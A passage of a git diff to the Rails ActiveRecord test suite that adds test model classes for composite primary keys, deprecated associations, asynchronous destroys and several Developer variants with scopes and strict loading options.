+# frozen_string_literal: true
+
+require "models/arunit2_model"
 
 class Course < ARUnit2Model
   belongs_to :college
diff --git a/activerecord/test/models/cpk.rb b/activerecord/test/models/cpk.rb
new file mode 100644
index 0000000000000..fc518e229d1a4
--- /dev/null
+++ b/activerecord/test/models/cpk.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require_relative "cpk/author"
+require_relative "cpk/book"
+require_relative "cpk/order"
+require_relative "cpk/review"
+require_relative "cpk/order_agreement"
+require_relative "cpk/order_tag"
+require_relative "cpk/tag"
+require_relative "cpk/chapter"
+require_relative "cpk/post"
+require_relative "cpk/posts_tag"
+require_relative "cpk/comment"
+require_relative "cpk/car"
+require_relative "cpk/car_review"
diff --git a/activerecord/test/models/cpk/author.rb b/activerecord/test/models/cpk/author.rb
new file mode 100644
index 0000000000000..bb8fff2fdea3b
--- /dev/null
+++ b/activerecord/test/models/cpk/author.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Author < ActiveRecord::Base
+    self.table_name = :cpk_authors
+
+    has_many :books, class_name: "Cpk::Book", dependent: :delete_all
+  end
+end
diff --git a/activerecord/test/models/cpk/book.rb b/activerecord/test/models/cpk/book.rb
new file mode 100644
index 0000000000000..63c064b7e6b2c
--- /dev/null
+++ b/activerecord/test/models/cpk/book.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Book < ActiveRecord::Base
+    attr_accessor :fail_destroy
+
+    self.table_name = :cpk_books
+    belongs_to :order, autosave: true, foreign_key: [:shop_id, :order_id], counter_cache: true
+    belongs_to :order_explicit_fk_pk, class_name: "Cpk::Order", foreign_key: [:shop_id, :order_id], primary_key: [:shop_id, :id]
+    belongs_to :author, class_name: "Cpk::Author"
+
+    has_many :chapters, foreign_key: [:author_id, :book_id]
+    accepts_nested_attributes_for :chapters
+
+    before_destroy :prevent_destroy_if_set
+
+    generates_token_for :test
+
+    private
+      def prevent_destroy_if_set
+        throw(:abort) if fail_destroy
+      end
+  end
+
+  class BestSeller < Book
+  end
+
+  class BrokenBook < Book
+    belongs_to :order, class_name: "Cpk::OrderWithSpecialPrimaryKey"
+  end
+
+  class BrokenBookWithNonCpkOrder < Book
+    belongs_to :order, class_name: "Cpk::NonCpkOrder", foreign_key: [:shop_id, :order_id]
+  end
+
+  class NonCpkBook < Book
+    self.primary_key = :id
+
+    belongs_to :non_cpk_order, foreign_key: [:order_id]
+  end
+
+  class NullifiedBook < Book
+    has_one :chapter, foreign_key: [:author_id, :book_id], dependent: :nullify
+  end
+
+  class BookWithOrderAgreements < Book
+    has_many :order_agreements, through: :order
+    has_one :order_agreement, through: :order, source: :order_agreements
+  end
+end
diff --git a/activerecord/test/models/cpk/book_destroy_async.rb b/activerecord/test/models/cpk/book_destroy_async.rb
new file mode 100644
index 0000000000000..d7c0d93be5d34
--- /dev/null
+++ b/activerecord/test/models/cpk/book_destroy_async.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Cpk
+  class BookDestroyAsync < ActiveRecord::Base
+    self.table_name = :cpk_books
+
+    has_many :chapters, foreign_key: [:author_id, :book_id], class_name: "Cpk::ChapterDestroyAsync", dependent: :destroy_async
+  end
+end
diff --git a/activerecord/test/models/cpk/car.rb b/activerecord/test/models/cpk/car.rb
new file mode 100644
index 0000000000000..06055eb947d4c
--- /dev/null
+++ b/activerecord/test/models/cpk/car.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Car < ActiveRecord::Base
+    self.table_name = :cpk_cars
+
+    has_many :car_reviews, foreign_key: [:car_make, :car_model]
+  end
+end
diff --git a/activerecord/test/models/cpk/car_review.rb b/activerecord/test/models/cpk/car_review.rb
new file mode 100644
index 0000000000000..32404fcfa99c7
--- /dev/null
+++ b/activerecord/test/models/cpk/car_review.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Cpk
+  class CarReview < ActiveRecord::Base
+    self.table_name = :cpk_car_reviews
+
+    belongs_to :car, foreign_key: [:car_make, :car_model]
+  end
+end
diff --git a/activerecord/test/models/cpk/chapter.rb b/activerecord/test/models/cpk/chapter.rb
new file mode 100644
index 0000000000000..a985d63e8b6f8
--- /dev/null
+++ b/activerecord/test/models/cpk/chapter.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Chapter < ActiveRecord::Base
+    self.table_name = :cpk_chapters
+    # explicit definition is to allow schema definition to be simplified
+    # to be shared between different databases
+    self.primary_key = [:author_id, :id]
+
+    belongs_to :book, foreign_key: [:author_id, :book_id]
+  end
+
+  class OptionalChapter < Chapter
+    belongs_to :book, foreign_key: [:author_id, :book_id], optional: true
+  end
+end
diff --git a/activerecord/test/models/cpk/chapter_destroy_async.rb b/activerecord/test/models/cpk/chapter_destroy_async.rb
new file mode 100644
index 0000000000000..cd864acd8d99c
--- /dev/null
+++ b/activerecord/test/models/cpk/chapter_destroy_async.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Cpk
+  class ChapterDestroyAsync < ActiveRecord::Base
+    self.table_name = :cpk_chapters
+    self.primary_key = [:author_id, :id]
+
+    belongs_to :book, foreign_key: [:author_id, :book_id], class_name: "Cpk::BookDestroyAsync"
+  end
+end
diff --git a/activerecord/test/models/cpk/comment.rb b/activerecord/test/models/cpk/comment.rb
new file mode 100644
index 0000000000000..e9756a6db813f
--- /dev/null
+++ b/activerecord/test/models/cpk/comment.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Comment < ActiveRecord::Base
+    self.table_name = :cpk_comments
+    belongs_to :commentable, foreign_key: %i[commentable_title commentable_author], polymorphic: true
+    belongs_to :post, class_name: "Cpk::Post", foreign_key: %i[commentable_title commentable_author]
+  end
+end
diff --git a/activerecord/test/models/cpk/order.rb b/activerecord/test/models/cpk/order.rb
new file mode 100644
index 0000000000000..a0a8b733342f0
--- /dev/null
+++ b/activerecord/test/models/cpk/order.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Order < ActiveRecord::Base
+    self.table_name = :cpk_orders
+    # explicit definition is to allow schema definition to be simplified
+    # to be shared between different databases
+    self.primary_key = [:shop_id, :id]
+
+    alias_attribute :id_value, :id
+
+    has_many :order_agreements
+    has_many :books, foreign_key: [:shop_id, :order_id]
+    has_one :book, foreign_key: [:shop_id, :order_id]
+    has_many :order_tags
+    has_many :tags, through: :order_tags
+  end
+
+  class BrokenOrder < Order
+    self.primary_key = [:shop_id, :status]
+
+    has_many :books
+    has_one :book
+  end
+
+  class OrderWithSpecialPrimaryKey < Order
+    self.primary_key = [:shop_id, :status]
+
+    has_many :books, foreign_key: [:shop_id, :status]
+    has_one :book, foreign_key: [:shop_id, :status]
+  end
+
+  class BrokenOrderWithNonCpkBooks < Order
+    self.primary_key = [:shop_id, :status]
+
+    has_many :books, class_name: "Cpk::NonCpkBook"
+    has_one :book, class_name: "Cpk::NonCpkBook"
+  end
+
+  class NonCpkOrder < Order
+    self.primary_key = :id
+  end
+
+  class OrderWithPrimaryKeyAssociatedBook < Order
+    has_one :book, foreign_key: :order_id
+  end
+
+  class OrderWithNullifiedBook < Order
+    has_one :book, foreign_key: [:shop_id, :order_id], dependent: :nullify
+  end
+
+  class OrderWithSingularBookChapters < Order
+    has_many :chapters, through: :book
+  end
+end
diff --git a/activerecord/test/models/cpk/order_agreement.rb b/activerecord/test/models/cpk/order_agreement.rb
new file mode 100644
index 0000000000000..4e85d052d7aa5
--- /dev/null
+++ b/activerecord/test/models/cpk/order_agreement.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Cpk
+  # This is a non composite primary key model that is associated with `Cpk::Order` via `id` only.
+  class OrderAgreement < ActiveRecord::Base
+    self.table_name = :cpk_order_agreements
+
+    belongs_to :order
+  end
+end
diff --git a/activerecord/test/models/cpk/order_tag.rb b/activerecord/test/models/cpk/order_tag.rb
new file mode 100644
index 0000000000000..d4a2ee111616d
--- /dev/null
+++ b/activerecord/test/models/cpk/order_tag.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Cpk
+  class OrderTag < ActiveRecord::Base
+    self.table_name = :cpk_order_tags
+
+    belongs_to :tag
+    belongs_to :order
+  end
+end
diff --git a/activerecord/test/models/cpk/post.rb b/activerecord/test/models/cpk/post.rb
new file mode 100644
index 0000000000000..4564e506d5873
--- /dev/null
+++ b/activerecord/test/models/cpk/post.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Post < ActiveRecord::Base
+    self.table_name = :cpk_posts
+    has_many :comments, class_name: "Cpk::Comment", foreign_key: %i[commentable_title commentable_author], as: :commentable
+    has_many :posts_tags, class_name: "Cpk::PostsTag", foreign_key: %i[post_title post_author]
+    has_many :tags, through: :posts_tags, class_name: "Cpk::Tag"
+  end
+end
diff --git a/activerecord/test/models/cpk/posts_tag.rb b/activerecord/test/models/cpk/posts_tag.rb
new file mode 100644
index 0000000000000..4546e08e5687b
--- /dev/null
+++ b/activerecord/test/models/cpk/posts_tag.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Cpk
+  class PostsTag < ActiveRecord::Base
+    self.table_name = :cpk_posts_tags
+
+    belongs_to :post, class_name: "Cpk:Post", foreign_key: %i[post_title post_author]
+    belongs_to :tag, class_name: "Cpk::Tag"
+  end
+end
diff --git a/activerecord/test/models/cpk/review.rb b/activerecord/test/models/cpk/review.rb
new file mode 100644
index 0000000000000..1717802f79e79
--- /dev/null
+++ b/activerecord/test/models/cpk/review.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Review < ActiveRecord::Base
+    self.table_name = :cpk_reviews
+
+    belongs_to :book, class_name: "Cpk::Book", foreign_key: [:author_id, :number]
+  end
+end
diff --git a/activerecord/test/models/cpk/tag.rb b/activerecord/test/models/cpk/tag.rb
new file mode 100644
index 0000000000000..55a5e4a50515a
--- /dev/null
+++ b/activerecord/test/models/cpk/tag.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Cpk
+  class Tag < ActiveRecord::Base
+    self.table_name = :cpk_tags
+
+    has_many :order_tags
+    has_many :orders, through: :order_tags
+  end
+end
diff --git a/activerecord/test/models/customer.rb b/activerecord/test/models/customer.rb
index 3d40cb1ace3ab..cabba7239e12f 100644
--- a/activerecord/test/models/customer.rb
+++ b/activerecord/test/models/customer.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 class Customer < ActiveRecord::Base
   cattr_accessor :gps_conversion_was_run
 
   composed_of :address, mapping: [ %w(address_street street), %w(address_city city), %w(address_country country) ], allow_nil: true
-  composed_of :balance, class_name: "Money", mapping: %w(balance amount), converter: Proc.new(&:to_money)
+  composed_of :address_hash_mapping, class_name: "Address",
+              mapping: { address_street: :street, address_city: :city, address_country: :country }, allow_nil: true
+  composed_of :balance, class_name: "Money", mapping: %i(balance amount)
   composed_of :gps_location, allow_nil: true
   composed_of :non_blank_gps_location, class_name: "GpsLocation", allow_nil: true, mapping: %w(gps_location gps_location),
               converter: lambda { |gps| self.gps_conversion_was_run = true; gps.blank? ? nil : GpsLocation.new(gps) }
diff --git a/activerecord/test/models/customer_carrier.rb b/activerecord/test/models/customer_carrier.rb
index 37186903ffc76..6cb9d5239d4c8 100644
--- a/activerecord/test/models/customer_carrier.rb
+++ b/activerecord/test/models/customer_carrier.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CustomerCarrier < ActiveRecord::Base
   cattr_accessor :current_customer
 
diff --git a/activerecord/test/models/dashboard.rb b/activerecord/test/models/dashboard.rb
index 1b3b54545fda7..d25ceeafb1ea6 100644
--- a/activerecord/test/models/dashboard.rb
+++ b/activerecord/test/models/dashboard.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Dashboard < ActiveRecord::Base
   self.primary_key = :dashboard_id
 end
diff --git a/activerecord/test/models/dats.rb b/activerecord/test/models/dats.rb
new file mode 100644
index 0000000000000..c6c08a0f3a0b8
--- /dev/null
+++ b/activerecord/test/models/dats.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+#
+# Minimal models defined ad-hoc for the test suite of deprecated associations.
+# They are persisted in existing tables for simplicity.
+module DATS
+  def self.table_name_prefix = ""
+
+  require_relative "dats/author"
+  require_relative "dats/author_favorite"
+  require_relative "dats/post"
+  require_relative "dats/category"
+  require_relative "dats/comment"
+  require_relative "dats/car"
+  require_relative "dats/tire"
+  require_relative "dats/bulb"
+end
diff --git a/activerecord/test/models/dats/author.rb b/activerecord/test/models/dats/author.rb
new file mode 100644
index 0000000000000..3d53480e9faf8
--- /dev/null
+++ b/activerecord/test/models/dats/author.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::Author < ActiveRecord::Base
+  has_many :posts, class_name: "DATS::Post", dependent: :destroy
+  has_many :deprecated_posts, class_name: "DATS::Post", dependent: :destroy, deprecated: true
+
+  has_many :comments, through: :posts, class_name: "DATS::Comment", source: :comments
+
+  has_many :deprecated_has_many_through, through: :posts, class_name: "DATS::Comment", source: :comments, deprecated: true
+  has_many :deprecated_through, through: :deprecated_posts, class_name: "DATS::Comment", source: :comments
+  has_many :deprecated_source, through: :posts, class_name: "DATS::Comment", source: :deprecated_comments
+  has_many :deprecated_all, through: :deprecated_posts, class_name: "DATS::Comment", source: :deprecated_comments, deprecated: true
+
+  has_many :author_favorites, class_name: "DATS::AuthorFavorite"
+  has_many :deprecated_author_favorites, class_name: "DATS::AuthorFavorite", deprecated: true
+  has_many :deprecated_nested, through: :posts, class_name: "DATS::AuthorFavorite", source: :author_favorites
+
+  has_one :post
+  has_one :deprecated_post, class_name: "DATS::Post", deprecated: true
+  has_one :comment, through: :post, class_name: "DATS::Comment", source: :comment
+
+  has_one :deprecated_has_one_through, through: :post, class_name: "DATS::Comment", source: :comment, deprecated: true
+  has_one :deprecated_through1, through: :deprecated_post, class_name: "DATS::Comment", source: :comment
+  has_one :deprecated_source1, through: :post, class_name: "DATS::Comment", source: :deprecated_comment
+  has_one :deprecated_all1, through: :deprecated_post, class_name: "DATS::Comment", source: :deprecated_comment, deprecated: true
+
+  has_one :author_favorite, class_name: "DATS::AuthorFavorite"
+  has_one :deprecated_author_favorite, class_name: "DATS::AuthorFavorite", deprecated: true
+  has_one :deprecated_nested1, through: :post, class_name: "DATS::AuthorFavorite", source: :author_favorite
+end
diff --git a/activerecord/test/models/dats/author_favorite.rb b/activerecord/test/models/dats/author_favorite.rb
new file mode 100644
index 0000000000000..6fe7f9cb8a2c0
--- /dev/null
+++ b/activerecord/test/models/dats/author_favorite.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::AuthorFavorite < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/dats/bulb.rb b/activerecord/test/models/dats/bulb.rb
new file mode 100644
index 0000000000000..57f1500af3333
--- /dev/null
+++ b/activerecord/test/models/dats/bulb.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::Bulb < ActiveRecord::Base
+  belongs_to :car, class_name: "DATS::Car", dependent: :destroy, touch: true
+  belongs_to :deprecated_car, class_name: "DATS::Car", foreign_key: "car_id", dependent: :destroy, touch: true, deprecated: true
+end
diff --git a/activerecord/test/models/dats/car.rb b/activerecord/test/models/dats/car.rb
new file mode 100644
index 0000000000000..2b24660d4401d
--- /dev/null
+++ b/activerecord/test/models/dats/car.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::Car < ActiveRecord::Base
+  self.lock_optimistically = false
+
+  has_many :tires, class_name: "DATS::Tire", dependent: :destroy
+  has_many :deprecated_tires, class_name: "DATS::Tire", dependent: :destroy, deprecated: true
+
+  accepts_nested_attributes_for :tires, :deprecated_tires
+
+  has_one :bulb, class_name: "DATS::Bulb", dependent: :destroy
+  has_one :deprecated_bulb, class_name: "DATS::Bulb", dependent: :destroy, deprecated: true
+
+  accepts_nested_attributes_for :bulb, :deprecated_bulb
+end
diff --git a/activerecord/test/models/dats/category.rb b/activerecord/test/models/dats/category.rb
new file mode 100644
index 0000000000000..0479cc958bb98
--- /dev/null
+++ b/activerecord/test/models/dats/category.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::Category < ActiveRecord::Base
+  self.inheritance_column = nil
+
+  has_and_belongs_to_many :posts, class_name: "DATS::Post"
+  has_and_belongs_to_many :deprecated_posts, class_name: "DATS::Post", deprecated: true
+end
diff --git a/activerecord/test/models/dats/comment.rb b/activerecord/test/models/dats/comment.rb
new file mode 100644
index 0000000000000..e31943b1f5614
--- /dev/null
+++ b/activerecord/test/models/dats/comment.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::Comment < ActiveRecord::Base
+  self.inheritance_column = nil
+end
diff --git a/activerecord/test/models/dats/post.rb b/activerecord/test/models/dats/post.rb
new file mode 100644
index 0000000000000..db439e56d224c
--- /dev/null
+++ b/activerecord/test/models/dats/post.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::Post < ActiveRecord::Base
+  self.inheritance_column = nil
+
+  belongs_to :author
+
+  has_many :comments, class_name: "DATS::Comment"
+  has_many :deprecated_comments, class_name: "DATS::Comment", deprecated: true
+
+  has_many :author_favorites, through: :author, class_name: "DATS::AuthorFavorite", source: :deprecated_author_favorites
+
+  has_one :comment, class_name: "DATS::Comment"
+  has_one :deprecated_comment, class_name: "DATS::Comment", deprecated: true
+  has_one :author_favorite, through: :author, class_name: "DATS::AuthorFavorite", source: :deprecated_author_favorite
+end
diff --git a/activerecord/test/models/dats/tire.rb b/activerecord/test/models/dats/tire.rb
new file mode 100644
index 0000000000000..0ef8e8612253b
--- /dev/null
+++ b/activerecord/test/models/dats/tire.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+# DATS = Deprecated Associations Test Suite.
+class DATS::Tire < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/default.rb b/activerecord/test/models/default.rb
index 887e9cc999e71..90f1046d8741e 100644
--- a/activerecord/test/models/default.rb
+++ b/activerecord/test/models/default.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Default < ActiveRecord::Base
 end
diff --git a/activerecord/test/models/department.rb b/activerecord/test/models/department.rb
index 08004a0ed368a..868b9bf4bf058 100644
--- a/activerecord/test/models/department.rb
+++ b/activerecord/test/models/department.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Department < ActiveRecord::Base
   has_many :chefs
   belongs_to :hotel
diff --git a/activerecord/test/models/destroy_async_parent.rb b/activerecord/test/models/destroy_async_parent.rb
new file mode 100644
index 0000000000000..03e6411dc076f
--- /dev/null
+++ b/activerecord/test/models/destroy_async_parent.rb
@@ -0,0 +1,15 @@
+ # frozen_string_literal: true
+
+ class DestroyAsyncParent < ActiveRecord::Base
+   self.primary_key = "parent_id"
+
+   has_one :dl_keyed_has_one, dependent: :destroy_async,
+     foreign_key: :destroy_async_parent_id, primary_key: :parent_id
+   has_many :dl_keyed_has_many, dependent: :destroy_async,
+     foreign_key: :many_key, primary_key: :parent_id
+   has_many :dl_keyed_join, dependent: :destroy_async,
+     foreign_key: :destroy_async_parent_id, primary_key: :parent_id
+   has_many :dl_keyed_has_many_through,
+     through: :dl_keyed_join, dependent: :destroy_async,
+     foreign_key: :dl_has_many_through_key_id, primary_key: :through_key
+ end
diff --git a/activerecord/test/models/destroy_async_parent_soft_delete.rb b/activerecord/test/models/destroy_async_parent_soft_delete.rb
new file mode 100644
index 0000000000000..7fd273c236f8a
--- /dev/null
+++ b/activerecord/test/models/destroy_async_parent_soft_delete.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class DestroyAsyncParentSoftDelete < ActiveRecord::Base
+  has_many :taggings, as: :taggable, class_name: "Tagging"
+  has_many :tags, through: :taggings,
+    dependent: :destroy_async,
+    ensuring_owner_was: :deleted?
+
+  has_one :dl_keyed_has_one, dependent: :destroy_async,
+    ensuring_owner_was: :deleted?
+
+  def deleted?
+    deleted
+  end
+
+  def destroy
+    update(deleted: true)
+    run_callbacks(:destroy)
+  end
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index 654830ba11815..77def85bd2f97 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -1,12 +1,27 @@
-require "ostruct"
+# frozen_string_literal: true
 
-module DeveloperProjectsAssociationExtension2
-  def find_least_recent
-    order("id ASC").first
-  end
-end
+require "models/computer"
 
 class Developer < ActiveRecord::Base
+  module TimestampAliases
+    extend ActiveSupport::Concern
+
+    included do
+      alias_attribute :created_at, :legacy_created_at
+      alias_attribute :updated_at, :legacy_updated_at
+      alias_attribute :created_on, :legacy_created_on
+      alias_attribute :updated_on, :legacy_updated_on
+    end
+  end
+
+  include TimestampAliases
+
+  module ProjectsAssociationExtension2
+    def find_least_recent
+      order("id ASC").first
+    end
+  end
+
   self.ignored_columns = %w(first_name last_name)
 
   has_and_belongs_to_many :projects do
@@ -15,26 +30,33 @@ def find_most_recent
     end
   end
 
+  def self.target
+    :__target__ # Used by delegation_test.rb
+  end
+
   belongs_to :mentor
+  belongs_to :strict_loading_mentor, strict_loading: true, foreign_key: :mentor_id, class_name: "Mentor"
+  belongs_to :strict_loading_off_mentor, strict_loading: false, foreign_key: :mentor_id, class_name: "Mentor"
 
   accepts_nested_attributes_for :projects
 
   has_and_belongs_to_many :shared_computers, class_name: "Computer"
+  has_many :computers, foreign_key: :developer
 
   has_and_belongs_to_many :projects_extended_by_name,
-      -> { extending(DeveloperProjectsAssociationExtension) },
+      -> { extending(ProjectsAssociationExtension) },
       class_name: "Project",
       join_table: "developers_projects",
       association_foreign_key: "project_id"
 
   has_and_belongs_to_many :projects_extended_by_name_twice,
-      -> { extending(DeveloperProjectsAssociationExtension, DeveloperProjectsAssociationExtension2) },
+      -> { extending(ProjectsAssociationExtension, ProjectsAssociationExtension2) },
       class_name: "Project",
       join_table: "developers_projects",
       association_foreign_key: "project_id"
 
   has_and_belongs_to_many :projects_extended_by_name_and_block,
-      -> { extending(DeveloperProjectsAssociationExtension) },
+      -> { extending(ProjectsAssociationExtension) },
       class_name: "Project",
       join_table: "developers_projects",
       association_foreign_key: "project_id" do
@@ -43,6 +65,12 @@ def find_least_recent
         end
       end
 
+  has_and_belongs_to_many :strict_loading_projects,
+                          join_table: :developers_projects,
+                          association_foreign_key: :project_id,
+                          class_name: "Project",
+                          strict_loading: true
+
   has_and_belongs_to_many :special_projects, join_table: "developers_projects", association_foreign_key: "project_id"
   has_and_belongs_to_many :sym_special_projects,
                           join_table: :developers_projects,
@@ -50,11 +78,16 @@ def find_least_recent
                           class_name: "SpecialProject"
 
   has_many :audit_logs
+  has_many :required_audit_logs, class_name: "AuditLogRequired"
+  has_many :strict_loading_audit_logs, -> { strict_loading }, class_name: "AuditLog"
+  has_many :strict_loading_opt_audit_logs, strict_loading: true, class_name: "AuditLog"
   has_many :contracts
   has_many :firms, through: :contracts, source: :firm
   has_many :comments, ->(developer) { where(body: "I'm #{developer.name}") }
   has_many :ratings, through: :comments
+
   has_one :ship, dependent: :nullify
+  has_one :strict_loading_ship, strict_loading: true, class_name: "Ship"
 
   belongs_to :firm
   has_many :contracted_projects, class_name: "Project"
@@ -68,8 +101,7 @@ def find_least_recent
     developer.audit_logs.build message: "Computer created"
   end
 
-  attr_accessor :last_name
-  define_attribute_method "last_name"
+  attribute :last_name
 
   def log=(message)
     audit_logs.build message: message
@@ -85,9 +117,31 @@ def track_instance_count
   private :track_instance_count
 end
 
+class SubDeveloper < Developer
+end
+
+class SpecialDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+  has_many :special_contracts, foreign_key: "developer_id"
+end
+
+class SymbolIgnoredDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+  self.ignored_columns = [:first_name, :last_name]
+
+  attribute :last_name
+end
+
 class AuditLog < ActiveRecord::Base
   belongs_to :developer, validate: true
   belongs_to :unvalidated_developer, class_name: "Developer"
+
+  self.attributes_for_inspect = [:id, :message]
+end
+
+class AuditLogRequired < ActiveRecord::Base
+  self.table_name = "audit_logs"
+  belongs_to :developer, required: true
 end
 
 class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
@@ -105,6 +159,35 @@ class DeveloperWithSelect < ActiveRecord::Base
   default_scope { select("name") }
 end
 
+class DeveloperwithDefaultMentorScopeNot < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope -> { where(mentor_id: 1) }
+end
+
+class DeveloperWithDefaultMentorScopeAllQueries < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope -> { where(mentor_id: 1) }, all_queries: true
+end
+
+class DeveloperWithDefaultNilableFirmScopeAllQueries < ActiveRecord::Base
+  self.table_name = "developers"
+  firm_id = nil # Could be something like Current.firm_id
+  default_scope -> { where(firm_id: firm_id) if firm_id }, all_queries: true
+end
+
+module MentorDefaultScopeNotAllQueries
+  extend ActiveSupport::Concern
+
+  included { default_scope { where(mentor_id: 1) } }
+end
+
+class DeveloperWithIncludedMentorDefaultScopeNotAllQueriesAndDefaultScopeFirmWithAllQueries < ActiveRecord::Base
+  include MentorDefaultScopeNotAllQueries
+  self.table_name = "developers"
+  firm_id = 10 # Could be something like Current.firm_id
+  default_scope -> { where(firm_id: firm_id) if firm_id }, all_queries: true
+end
+
 class DeveloperWithIncludes < ActiveRecord::Base
   self.table_name = "developers"
   has_many :audit_logs, foreign_key: :developer_id
@@ -121,6 +204,8 @@ def self.default_scope
 end
 
 class DeveloperOrderedBySalary < ActiveRecord::Base
+  include Developer::TimestampAliases
+
   self.table_name = "developers"
   default_scope { order("salary DESC") }
 
@@ -144,7 +229,7 @@ class LazyBlockDeveloperCalledDavid < ActiveRecord::Base
 
 class CallableDeveloperCalledDavid < ActiveRecord::Base
   self.table_name = "developers"
-  default_scope OpenStruct.new(call: where(name: "David"))
+  default_scope Struct.new(:call).new(where(name: "David"))
 end
 
 class ClassMethodDeveloperCalledDavid < ActiveRecord::Base
@@ -171,6 +256,8 @@ class LazyBlockReferencingScopeDeveloperCalledDavid < ActiveRecord::Base
 end
 
 class DeveloperCalledJamis < ActiveRecord::Base
+  include Developer::TimestampAliases
+
   self.table_name = "developers"
 
   default_scope { where(name: "Jamis") }
@@ -194,6 +281,7 @@ class InheritedPoorDeveloperCalledJamis < DeveloperCalledJamis
 class MultiplePoorDeveloperCalledJamis < ActiveRecord::Base
   self.table_name = "developers"
 
+  default_scope { }
   default_scope -> { where(name: "Jamis") }
   default_scope -> { where(salary: 50000) }
 end
@@ -244,7 +332,7 @@ class EagerDeveloperWithCallableDefaultScope < ActiveRecord::Base
   self.table_name = "developers"
   has_and_belongs_to_many :projects, -> { order("projects.id") }, foreign_key: "developer_id", join_table: "developers_projects"
 
-  default_scope OpenStruct.new(call: includes(:projects))
+  default_scope Struct.new(:call).new(includes(:projects))
 end
 
 class ThreadsafeDeveloper < ActiveRecord::Base
@@ -257,6 +345,8 @@ def self.default_scope
 end
 
 class CachedDeveloper < ActiveRecord::Base
+  include Developer::TimestampAliases
+
   self.table_name = "developers"
   self.cache_timestamp_format = :number
 end
@@ -266,3 +356,33 @@ class DeveloperWithIncorrectlyOrderedHasManyThrough < ActiveRecord::Base
   has_many :companies, through: :contracts
   has_many :contracts, foreign_key: :developer_id
 end
+
+class DeveloperName < ActiveRecord::Type::String
+  def deserialize(value)
+    "Developer: #{value}"
+  end
+end
+
+class AttributedDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+
+  attribute :name, DeveloperName.new
+
+  self.ignored_columns += ["name"]
+end
+
+class ColumnNamesCachedDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+  self.ignored_columns += ["name"] if column_names.include?("name")
+end
+
+class AuditRequiredDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+  has_many :required_audit_logs, class_name: "AuditLogRequired"
+end
+
+class OnlyColumnsDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+  self.only_columns = %w[name salary firm_id mentor_id]
+  has_many :required_audit_logs, class_name: "AuditLogRequired"
+end
diff --git a/activerecord/test/models/discount.rb b/activerecord/test/models/discount.rb
new file mode 100644
index 0000000000000..06068df2fb683
--- /dev/null
+++ b/activerecord/test/models/discount.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Discount < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/dl_keyed_belongs_to.rb b/activerecord/test/models/dl_keyed_belongs_to.rb
new file mode 100644
index 0000000000000..674935b49a577
--- /dev/null
+++ b/activerecord/test/models/dl_keyed_belongs_to.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class DlKeyedBelongsTo < ActiveRecord::Base
+  self.primary_key = "belongs_key"
+  belongs_to :destroy_async_parent,
+    dependent: :destroy_async,
+    foreign_key: :destroy_async_parent_id,
+    primary_key: :parent_id,
+    class_name: "DestroyAsyncParent"
+  belongs_to :destroy_async_parent_soft_delete,
+    dependent: :destroy_async,
+    ensuring_owner_was: :deleted?, class_name: "DestroyAsyncParentSoftDelete"
+end
diff --git a/activerecord/test/models/dl_keyed_belongs_to_soft_delete.rb b/activerecord/test/models/dl_keyed_belongs_to_soft_delete.rb
new file mode 100644
index 0000000000000..5f5d44590a579
